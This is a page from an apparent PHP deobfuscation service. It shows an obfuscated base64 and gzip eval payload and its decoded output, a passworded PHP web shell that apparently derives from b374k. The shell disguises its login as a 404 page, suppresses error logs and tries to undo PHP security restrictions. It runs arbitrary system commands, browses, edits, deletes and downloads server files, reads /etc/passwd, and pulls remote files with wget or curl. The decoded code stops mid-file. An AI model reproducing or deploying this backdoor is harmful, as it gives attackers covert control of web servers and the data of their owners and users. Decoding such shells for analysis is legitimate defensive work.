Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzuncompress(base64_decode("eNrsvfeXo0iyKPzz23P2f2B1+25VX3UXRsi1mwEJOSQhgRyamVM..

Decoded Output download


@session_start(); 
@define('SELF_PATH', __FILE__); 
$auth_pass = "608e7dc116de7157306012b4f0be82ac"; 
$cookie_hour_expire = 24;

if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 
header('HTTP/1.0 404 Not Found'); 
exit;
}
function printLogin() { ?>

<html><head><title>404 Not Found</title></head>
<style> 
input { margin:0;background-color:#fff;border:1px solid #fff; } 
</style> 
<body>
<h1>Not Found</h1>
<p>The requested URL <? $_SERVER['PHP_SELF'] ?> was not found on this server.</p>
<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<form method=post>
<address><?=$_SERVER['SERVER_SIGNATURE']?><center><input type=password name=x><input type=submit value=''></center></address>
</form></body></html>
<?php
exit;
}
$cookie_value = md5($_SERVER['HTTP_HOST']."dm".$auth_pass);
if(isset($_POST['x'])){ 
if(md5($_POST['x']) != $auth_pass){
printLogin();
}else{
setcookie("dm", $cookie_value, time()+(60*(60*$cookie_hour_expire)));
}
}
elseif(isset($_COOKIE['dm'])){
if($_COOKIE['dm'] != $cookie_value){ 
printLogin(); 
}
}elseif(!isset($_COOKIE['dm'])){
printLogin();
}
if(isset($_POST['logout'])){
setcookie("dm", "", time()-(60*(60*60*360000)));
$page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
echo '<center><span class="b1"> Please Wait ...</scan></center>';
?>
<script>window.location.href = '<?php print $page; ?>';</script>
<?php exit(0);
}


@set_time_limit(0); 
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL); 
@ini_restore("safe_mode");
@ignore_user_abort(FALSE);
@ini_restore("open_basedir");
@set_magic_quotes_runtime(0); 
@ini_restore("allow_url_fopen");
@ini_set('max_execution_time',0);
@ini_restore("disable_functions");
@ini_restore("safe_mode_exec_dir");
@ini_restore("safe_mode_include_dir");
@ini_set('zlib.output_compression','Off');
date_default_timezone_set('Etc/GMT');

if(get_magic_quotes_gpc()){
function stripslashes_array($array) 
{ return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
$_POST = stripslashes_array($_POST);
}

$quotes = get_magic_quotes_gpc();
if ($quotes == "1" or $quotes == "on")
{ $quot = "<font style='color:yellow'>ON</font>";}
else
{ $quot = "<font style='color:#444444'>OFF</font>"; }
 
$disablefunc = @ini_get("disable_functions");
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions"))
{ return "<span style='color:yellow'>".$disablefunc."</span>"; }
else 
{ return "<span style='color:#444444'>NONE</span>"; }
}

function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("
",$res);
} 
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} 
elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} 
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} 
elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}

function delete_option($file){
if(!$win){
@exe("rm -rf ".$file);
if(file_exists($file) && is_file($file)){unlink($file);}
elseif(file_exists($file) && is_dir($file)){rmdir($file);}
} 
elseif($win){
if(is_dir($file)){
@exe("rd /s /q ".$file);
if(file_exists($file)){rmdir($file);}
}
else {
@exe("del /q /f ".$file);
exe("rd /s /q ".$file);
if(file_exists($file)){
unlink($file);
}
}
}
}

if(isset($_POST['rename'])){ 
$old = $_POST['oldname']; 
$new = $_POST['newname']; 
@rename($pwd.$old,$pwd.$new); 
$file = $pwd.$new; 
} 
if(isset($_POST['chmod'])){ 
$name = $_POST['name']; 
$value = $_POST['newvalue']; 
if (strlen($value)==3){
$value = 0 . "" . $value;
}
@chmod($pwd.$name,octdec($value)); 
$file = $pwd.$name;
}
if(isset($_POST['chmod_folder'])){ 
$name = $_POST['name']; 
$value = $_POST['newvalue']; 
if (strlen($value)==3){
$value = 0 . "" . $value;
}
@chmod($pwd.$name,octdec($value)); 
$file = $pwd.$name;
}
 
function showstat($stat) {
if ($stat=="on") 
{ return "<b><font style='color:yellow'>ON</font></b>"; }
else 
{ return "<b><font style='color:#444444'>OFF</font></b>"; }
}
function testperl() {
if (ex('perl -h')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
function testfetch() {
if(ex('fetch --help')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
function testwget() {
if (ex('wget --help')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
function testoracle() {
if (function_exists('ocilogon')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
function testpostgresql() {
if (function_exists('pg_connect')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
function testcurl() {
if (function_exists('curl_version')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
function testmysql() {
if (function_exists('mysql_connect')) 
{ return showstat("on"); }
else 
{ return showstat("off"); }
}
 

if(isset($_GET['dl']) && ($_GET['dl'] != "")){ 
$file = $_GET['dl']; 
$filez = @file_get_contents($file); 
header("Content-type: application/octet-stream"); 
header("Content-length: ".strlen($filez)); 
header("Content-disposition: attachment; filename=\"".basename($file)."\";"); 
echo $filez; 
exit; 
} 

elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){ 
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file)); 
header("Content-Type:application/x-gzip
"); 
header("Content-length: ".strlen($filez)); 
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";"); 
echo $filez; 
exit; 
} 


if(isset($_GET['img'])){ 
@ob_clean(); 
$d = isset($_GET['img'])? $_GET['img']:""; 
$f = $_GET['img']; 
$inf = @getimagesize($d.$f); 
$ext = explode($f,"."); 
$ext = $ext[count($ext)-1]; 
@header("Content-type: ".$inf["mime"]); 
@header("Cache-control: public"); 
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
@header("Cache-control: max-age=".(60*60*24*7)); 
@readfile($d.$f); 
die();
}

$software = getenv("SERVER_SOFTWARE"); 
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE; 
$system = @php_uname(); 
if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE; 
if(isset($_GET['dm'])){ 
if(@is_dir($_GET['view'])){ 
$pwd = $_GET['view']; 
@chdir($pwd); 
} 
else{ 
$pwd = $_GET['dm']; 
@chdir($pwd); 
} 
} 
if(!$win){ 
if(!$user = rapih(exe("whoami"))) $user = ""; 
if(!$id = rapih(exe("id"))) $id = ""; 
$prompt = $user." \$] "; 
$pwd = @getcwd().DIRECTORY_SEPARATOR; 
} 
else { 
$user = @get_current_user(); 
$id = $user; 
$prompt = $user." &gt;"; 
$pwd = realpath(".")."\"; 
$v = explode("\",$d); 
$v = $v[0]; 
foreach (range("A","Z") as $letter) { 
$bool = @is_dir($letter.":\"); 
if ($bool) { 
$letters .= "<a href=\"?dm=".$letter.":\"><span class=\"infodmx\">[ "; 
if ($letter.":" != $v)
{ $letters .= $letter; } 
else 
{ $letters .= "<span style=\"color:#444444\"/>".$letter."</span>";} 
$letters .= " ]</span> </a>"; 
} 
} 
} 
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; 
$bytes = disk_free_space(".");
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$base = 1024;
$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
$totalspace_bytes = disk_total_space(".");
$totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
$totalspace_bases = 1024;
$totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
$totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
$freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip = $_SERVER['REMOTE_ADDR'];
$server_admin=$_SERVER['SERVER_ADMIN'];
$gat = $_SERVER['GATEWAY_INTERFACE'];
$pro = $_SERVER['SERVER_PROTOCOL'];
$readdr = $_SERVER['REMOTE_ADDR'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$xforwarded = $_SERVER['HTTP_X_FORWARDED_FOR'];
$signature = $_SERVER['SERVER_SIGNATURE'];
$serport = $_SERVER['SERVER_PORT'];
$remport = $_SERVER['REMOTE_PORT'];
$bindport = "13123"; 
$bindport_pass = "b374k";
$etc_passwd=@is_readable("/etc/passwd")?"<b><span style=\"color:#444444\"/>ON</span></b>":"<b><span style=\"color:yellow\"/>DISABLE</span></b>";
$pwds = explode(DIRECTORY_SEPARATOR,$pwd); 
$pwdurl = ""; 
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){ 
$pathz = ""; 
for($j = 0 ; $j <= $i ; $j++)
{ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; } 
$pwdurl .= "<a href=\"?dm=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>"; 
} 


$buff .= "<nobr><b><span class=\"dminfox\">Software</span> : <span style=\"color:#444444\"/>" . $software . "</span></b></nobr><br/>";
$buff .= "<nobr><b><span class=\"dminfox\">System</span> : <span style=\"color:#444444\"/>".$system."</span></b></nobr><br />";
$buff .= "<nobr><b><span class=\"dminfox\">Webmaster</span> : "."<b><span style='color:#444444'>$server_admin</span></b>"." <b><span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Date : <b><span style=\"color:#444444\"/>".date("d M Y H:i:s",time())."</b><br/>"; 
if($id != "") 
$buff .= "<nobr><span class=\"dminfox\">User</span> : <b><span style=\"color:#444444\"/>" . $id . "</span></b><nobr><br />"; 
$buff .= "<nobr><span class=\"dminfox\">Server IP</span> : <b><span style=\"color:#444444\"/>".$server_ip."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Server Port</span> : <b><span style=\"color:#444444\"/>".$serport."</span></b></nobr><br/>";
$buff .= "<nobr><span class=\"dminfox\">Your IP</span> : <b><span style=\"color:#444444\"/>".$my_ip."</span> 
<span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Real IP</span> : <b><span style=\"color:#444444\"/>".$xforwarded."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Remote Port</span> : <b><span style=\"color:#444444\"/>".$remport."</span> </b></nobr><br/>";
$buff .= "<nobr><span class=\"dminfox\">Total HDD</span> : "."<b><span style='color:#444444'>$totalspace_show</span>"." <b><span class=\"infodmx\">||</span></b> "."<span class=\"depan\">Free HDD</span> : "."<b><span style='color:#444444'>$freespace_show</span>"."</b></nobr><br/>";
$buff .= "<nobr><span class=\"dminfox\">PHP ver</span> : <b><span style='color:#444444'>".phpversion()."</span> <span class=\"infodmx\">||</span></b> 
<span class=\"dminfox\">Gateway</span> : <b><span style='color:#444444'>".$gat."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Protocol</span> : <b><span style='color:#444444'>".$pro."</span></b></nobr><br/>"; 

if($safemode) 
$buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:yellow\">ON</span> [ <a href='?dm=$pwd&amp;x=safemodeoff'>BYPASS</a> ]</b><br />"; 
else $buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:#444444\">OFF</span> <span class=\"infodmx\">||</span></b> <span class=\"depan\">Magic Quotes</span> : <b><span style=\"color:#444444\"/>".$quot."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Read /etc/passwd</span>  : "."<span style='color:#444444'>$etc_passwd</span>"."<br />"; 
$buff .= "<nobr><span class=\"dminfox\">MySQL</span> : <b><span style=\"color:#444444\"/>".testmysql()." <span class=\"infodmx\">||</span></b> 
<span class=\"dminfox\">MSSQL :</span><b> <span style=\"color:#444444\"/>".testmssql()."</span> <span class=\"infodmx\">||</span></b> 
<span class=\"dminfox\">Oracle :</span><b> <span style=\"color:#444444\"/>".testoracle()."</span> <span class=\"infodmx\">||</span></b>
<span class=\"dminfox\">PostgreSQL :</span><b> <span style=\"color:#444444\"/>".testpostgresql()."</span></b> </nobr><br/>";
$buff .= "<nobr><span class=\"dminfox\">Curl</span> : <b><span style=\"color:#444444\"/>".testcurl()."</span> <span class=\"infodmx\">||</span></b>
<span class=\"dminfox\">WGet</span> : <b><span style=\"color:#444444\"/>".testwget()."</span> <span class=\"infodmx\">||</span></b>
<span class=\"dminfox\">Fetch</span> : <b><span style=\"color:#444444\"/>".testfetch()."</span> <span class=\"infodmx\">||</span></b>
<span class=\"dminfox\">Perl</span> : <b><span style=\"color:#444444\"/>".testperl()."</span></b></nobr><br/>";
$buff .= "<span class=\"dminfox\">Disabled Functions</span> : <span style=\"color:#444444\">".showdisablefunctions()."<br />";
$buff .= $letters."<span class=\"dminfox\">Directory : ".$pwdurl."</span><br /><br />";

function rapih($text){ 
return trim(str_replace("<br />","",$text)); 
} 
function magicboom($text) { 
if(!get_magic_quotes_gpc()) 
{ 
return $text; 
} 
return stripslashes($text); 
} 


function showdir($pwd,$prompt){ 
$fname = array(); 
$dname = array(); 
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; 
else $posix = FALSE; 
$user = "????:????"; 
if($dh = opendir($pwd)){ 
while($file = readdir($dh)){ 
if(is_dir($file))
{ $dname[] = $file; } 
elseif(is_file($file))
{ $fname[] = $file; } 
} 
closedir($dh); 
} 
sort($fname); 
sort($dname); 
$path = @explode(DIRECTORY_SEPARATOR,$pwd); 
$tree = @sizeof($path); 
$parent = ""; 
 

// Membuat 2 Form Input CMD n DIRectory Di Main Page //
$buff = "<form action=\"?dm=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">

<tr>
<td><nobr><b>CMD</b></nobr></td>
<td><!-- onMouseOver=\"this.focus();\" --><nobr><input id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:300px;\" value=\"\" />
<input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" />
</nobr>
</form>
</td>
</tr>

<tr>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
<td><nobr><b>DIR</b></nobr></td>

<td><nobr><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:300px;\" value=\"".$pwd."\" /> <input  class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" /></nobr></form>
</td>
</tr>
</table>

<p><table class=\"explore\"><tr>
<th style=\"width:200px;\"><strong><span class='b3'>_NAME_</span></strong></th>
<th style=\"width:70px;\"><strong><span class='b3'>_DIR / SIZE_</span></strong></th>
<th style=\"width:70px;\"><strong><span class='b3'>_CHMOD_</span></strong></th> 
<th style=\"width:150px;\"><strong><span class='b3'>_OWNER : GROUP_</span></strong></th>
<th style=\"width:140px;\"><strong><span class='b3'>_LAST ACCESS_</span></strong></th>
<th style=\"width:150px;\"><strong><span class='b3'>_ACTION_</span></strong></th></tr>";

if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; 
else $parent = $pwd; 
foreach($dname as $folder){ 
if($folder == ".") { 
if(!$win && $posix){ 
$name=@posix_getpwuid(@fileowner($folder)); 
$group=@posix_getgrgid(@filegroup($folder)); 
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } 
else { 
$owner = $user; 
} 
$buff .= "<tr>
<td><a href=\"?dm=".$pwd."\"><img src='data:image/png;base64,R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs='>$folder</a></td>
<td align=center>-</td>
<td align=center>".substr(sprintf('%o', fileperms($pwd)), -4)."</td>
<td align=center>".$owner."</td>
<td align=center>".date("d-M-Y H:i",@fileatime($pwd))."</td>
<td align=center><span id=\"titik1\">
<a href=\"?dm=$pwd&amp;edit=".$pwd."new.php\">[ +FILE ]&nbsp;</a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik1','titik1_form');\">&nbsp;[ +FOLDER ]</a></span> 
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form>
</td></tr>"; 
} 

elseif($folder == "..") { 
if(!$win && $posix){ 
$name=@posix_getpwuid(@fileowner($folder)); 
$group=@posix_getgrgid(@filegroup($folder)); 
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; 
} 
else { $owner = $user; } 
$buff .= "<tr>
<td><a href=\"?dm=".$parent."\"><img src='data:image/png;base64,R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs='/>$folder</a></td>
<td align=center>-</td>
<td align=center>".substr(sprintf('%o', fileperms($parent)), -4)."</td>
<td align=center>".$owner."</td>
<td align=center>".date("d-M-Y H:i",@fileatime($parent))."</td>
<td align=center><span id=\"titik2\"><a href=\"?dm=$pwd&amp;edit=".$parent."new.php\">[+FILE ] &nbsp;</a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik2','titik2_form');\">&nbsp;[ +FOLDER ]</a></span> 
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form> 
</td>
</tr>"; 
} else { 
if(!$win && $posix){ 
$name=@posix_getpwuid(@fileowner($folder)); 
$group=@posix_getgrgid(@filegroup($folder)); 
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; 
} 
else { $owner = $user; } 
$buff .= "<tr>
<td>
<a id=\"".clearspace($folder)."_link\" href=\"?dm=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64, 
R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///
nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='/> $folder </a> 
						
<form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form> 
</td>
<td align=center>FOLDER</td>
<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">
".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."</a>
<form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></td>
<td align=center>".$owner."</td>
<td align=center>".date("d-M-Y H:i",@fileatime($folder))."</td> 
<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">[ REN ]&nbsp;</a><span class=\"infodmx\">||</span><a href=\"?dm=$pwd&amp;fdelete=".$pwd.$folder."\">&nbsp;[ DEL ]</a>
</td></tr>"; 
}
}
		
foreach($fname as $file){ 
$full = $pwd.$file; 
if(!$win && $posix){ 	
$name=@posix_getpwuid(@fileowner($file)); 
$group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { 
$owner = $user; 
} 
$buff .= "<tr>
<td><a id=\"".clearspace($file)."_link\" href=\"?dm=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' />  $file</a><form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td>
<td align=center>".ukuran($full)."</td>
<td align=center><a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".substr(sprintf('%o', fileperms($full)), -4)."</a><form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" />
</form></center></td>
<td align=center>".$owner."</td>
<td align=center>".date("d-M-Y H:i",@fileatime($full))."</td> 
<td align=center><a href=\"?dm=$pwd&amp;edit=$full\">[E]</a> 
<span class=\"infodmx\">||</span>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">[R]</a>
<span class=\"infodmx\">||</span> 
<a href=\"?dm=$pwd&amp;delete=$full\">[X]</a>
<span class=\"infodmx\">||</span>
<a href=\"?dm=$pwd&amp;dl=$full\">[D]</a>
</td></tr>"; 
}
$buff .= "</table></p>"; 
return $buff; 
} 

// Fungsi Ukuran Besar Jenis File
function ukuran($file){ 
if($size = @filesize($file)){ 
if($size <= 1024) {
return "$size B"; 
} else { 
if($size <= 1024*1024) { 
$size = @round($size / 1024,2);; 
return "$size KB"; 
} else { 
$size = @round($size / 1024 / 1024,2); 
return "$size MB"; 
} 
} 
} 
else return "???"; 
} 

function exe($cmd){ 
if(function_exists('system')) { 
@ob_start(); 
@system($cmd); 
$buff = @ob_get_contents(); 
@ob_end_clean(); 
return $buff; 
} 
elseif(function_exists('exec')) { 
@exec($cmd,$results); 
$buff = ""; 
foreach($results as $result){ 
$buff .= $result; 
} 
return $buff; 
} 
elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cmd); 
$buff = @ob_get_contents(); 
@ob_end_clean(); 
return $buff; 
} 
elseif(function_exists('shell_exec')){ 
$buff = @shell_exec($cmd); 
return $buff; 
} 
} 

// Fungsi Tulis NewFile //
function tulis($file,$text){ 
$textz = gzinflate(base64_decode($text)); 
if($filez = @fopen($file,"w")) { 
@fputs($filez,$textz); 
@fclose($file); 
} 
}

// Fungsi Upload Dari Url //
function ambil($link,$file) { 
if($fp = @fopen($link,"r")){ 
while(!feof($fp)) { 
$cont.= @fread($fp,1024); 
} 
@fclose($fp); 
$fp2 = @fopen($file,"w"); 
@fwrite($fp2,$cont); 
@fclose($fp2); 
} 
} 
function which($pr){ 
$path = exe("which $pr"); 
if(!empty($path)) { 
return trim($path); 
} else { 
return trim($pr); 
} 
} 
function download($cmd,$url){ 
$namafile = basename($url); 
switch($cmd) { 
case 'wwget': 
exe(which('wget')." ".$url." -O ".$namafile);
break;
case 'wlynx': 
exe(which('lynx')." -source ".$url." >".$namafile);
break; 
case 'wfread' : 
ambil($wurl,$namafile);
break; 
case 'wfetch' : 
exe(which('fetch')." -o ".$namafile." -p ".$url);
break;
case 'wlinks' : 
exe(which('links')." -source ".$url." >".$namafile);
break; 
case 'wget' : 
exe(which('GET')." ".$url." >".$namafile);
break; 
case 'wcurl' : 
exe(which('curl')." ".$url." -o ".$namafile);
break; 
default: 
break; 
} 
return $namafile; 
} 

// Fungsi array utk CHMOD / permission //
function get_perms($file) { 
if($mode=@fileperms($file)){ 
$perms=''; 
$perms .= ($mode & 00400) ? 'r' : '-'; 
$perms .= ($mode & 00200) ? 'w' : '-'; 
$perms .= ($mode & 00100) ? 'x' : '-'; 
$perms .= ($mode & 00040) ? 'r' : '-'; 
$perms .= ($mode & 00020) ? 'w' : '-'; 
$perms .= ($mode & 00010) ? 'x' : '-'; 
$perms .= ($mode & 00004) ? 'r' : '-'; 
$perms .= ($mode & 00002) ? 'w' : '-'; 
$perms .= ($mode & 00001) ? 'x' : '-'; 
return $perms; 
} 
else return "?????"; 
} 

function clearspace($text){ 
return str_replace(" ","_",$text); 
} 

// Fungsi NetSploit //
